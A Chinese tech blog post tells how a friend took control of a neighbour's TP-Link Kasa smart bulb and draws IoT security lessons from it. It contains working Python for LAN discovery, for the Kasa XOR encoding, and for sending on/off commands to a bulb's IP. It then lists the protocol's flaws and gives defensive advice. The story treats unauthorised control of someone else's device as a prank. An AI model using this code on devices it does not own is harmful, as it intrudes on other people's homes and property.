我写了个脚本控制邻居智能灯泡?从恶作剧到智能家居安全启示录(下)

“我让邻居的灯泡闪了两天。”
——某位技术爱好者的灵魂发言

我有一个朋友,某天突发奇想:能不能用脚本控制邻居家的智能灯泡?乍一听像是都市传说,直到他真的动手做了……

在真实的网络环境中,只要智能设备默认暴露在局域网没有认证机制,再加上使用明文或弱加密协议,这样的“黑科技恶作剧”完全有可能上演。

他的整个经历让我很感兴趣,我也整理了他的操作流程、通信协议解析,并从网络安全角度进行了复盘和分析。


🧪 一、设备扫描:他是怎么找到邻居的灯泡的?

朋友一边喝着茶一边嘀咕:邻居家的灯泡也太亮了,大晚上的也太刺眼了?

于是他打开电脑,开始搞事情。

第一步,他用 UDP 广播消息在局域网里扔了个“问卷”——有灯泡的设备都会“举手”回应。只要你监听 9999 端口,发出一条类似 get_sysinfo 的消息,就能筛出网络中响应的设备。

而他的目标是:能听懂 Kasa 协议的设备,也就是 TP-Link 家的智能灯。

找到回应之后,他用 Wireshark 看了看回应内容,发现这些设备毫无防备、诚实回应,连设备名称和型号都主动报上来了……属实有点“太讲武德”。

示例代码:UDP 扫描

import socket

def discover():
    msg = b'{"system":{"get_sysinfo":{}}}'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    sock.sendto(msg, ('<broadcast>', 9999))

当然,Kasa 的协议实际是 XOR 编码后的 JSON,我们后续还会讲到这一点。


📡 二、协议逆向:Kasa 的“一本正经的加密术”

朋友接着分析这些回应消息的内容,发现居然不是明文 JSON,而是一堆看起来像乱码的字节流。于是他皱了皱眉,开始对这个“假装安全”的协议动手了。

结果一分析,顿时笑出声:这哪是加密?这明明是“写给安全工程师的心理安慰包”。

Kasa 的通信协议用了一个单字节的 XOR 加密,初始 key 是 171,每个字符跟 key 异或一下,然后 key 自己更新为这个字符的异或结果……就这么点事。

朋友大概用不到五分钟就写了个加解密函数,成功还原了这些“加密数据”里的原始 JSON 命令。

通俗讲就是“你戳我一下,我就反手一个字节”。初始 key 是 171,每来一个字符异或一下,然后 key 自己更新,就这样混过去了。

加密函数如下:

def encrypt(string):
    key = 171
    result = b''
    for char in string:
        a = key ^ ord(char)
        key = a
        result += bytes([a])
    return result

协议中传送的 JSON 长得像这样:

{
  "system": {
    "set_relay_state": {
      "state": 1
    }
  }
}

翻译成人话:灯泡,给我亮起来。


💡 三、点亮灯泡:一发数据包,邻居家变舞厅

朋友把解密出来的 JSON 再加密回去,打包成 UDP 数据包后朝灯泡的 IP 一扔,事情就发生了。

原本平平无奇的一台智能灯泡,瞬间变成了他指挥下的“小跟班”。他手里握着控制命令,灯泡想亮就亮,想灭就灭——堪比法术控制。

他还试过多台一起闪:一个简单的循环控制程序,邻居卧室直接变成了“小型蹦迪房”。

当然他最后还是手下留情,没有做太出格的事……主要是怕对面报警。

示例代码:开灯

import socket

def encrypt(string):
    key = 171
    result = b''
    for char in string:
        a = key ^ ord(char)
        key = a
        result += bytes([a])
    return result

payload = '{"system":{"set_relay_state":{"state":1}}}'
data = encrypt(payload)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(data, ("192.168.0.105", 9999))

几行 Python 写完,朋友盯着屏幕一摁回车——Boom,隔壁房间瞬间亮了。

而我:……最让人震惊的是:没有认证、没有绑定,甚至不需要连接蓝牙。


🚨 四、安全问题盘点:你以为是段子,其实是漏洞合集

故事看到这里,是不是觉得这位朋友有点“黑客天赋”?但其实他最应该去的不是 DEFCON,而是安全培训班。

因为他说:“我只是用了点广播,发了个包,灯就亮了。”

对,就是这么简单。但问题就也在这。

这段“恶作剧”暴露出了智能设备设计中那些让人抓狂的安全漏洞:认证、加密、通信方式,几乎是能踩的雷一个没落下。

问题说明
无认证机制没有身份校验,任何人都可以发送命令
XOR加密过于简单极易逆向,无法防御基本嗅探
UDP 广播无连接无握手、无认证、易被欺骗
用户缺乏安全意识默认设置未修改,暴露攻击面

🧰 五、防护建议:如何避免被“邻居技术达人”盯上

听完这故事,你可能也会下意识地回头看看自己家的灯泡是不是也在“裸奔”。别急,朋友踩过的坑,我们可以提前绕开。

说到底,这种“脚本就能控灯”的场面本质上是安全配置缺失的锅。

不妨看看这些建议,能救你一命,也能救你的电灯泡:

  1. 为智能设备配置独立 VLAN:路由器划分网络,避免不同设备互访
  2. 关闭本地 API 或开启身份验证:开启云端认证,不允许 LAN 控制
  3. 定期升级固件:厂商常通过更新修补漏洞
  4. nmap 检查开放端口:养成定期审计家庭网络习惯

📚 六、段子背后,其实是现实的安全提醒

这朋友事后感慨说:“其实我也没啥技术含量,就是顺着协议撸了个包,结果就能当神灯主人了。”

听着是挺好笑的,可真要换成陌生人对你家来这么一套,那就一点都不好笑了。

物联网设备的安全,真的不是高不可攀的技术门槛,而是“默认安全”这个基本要求的缺席。

把段子当警钟,才是真正的技术人觉悟。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

审计侠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值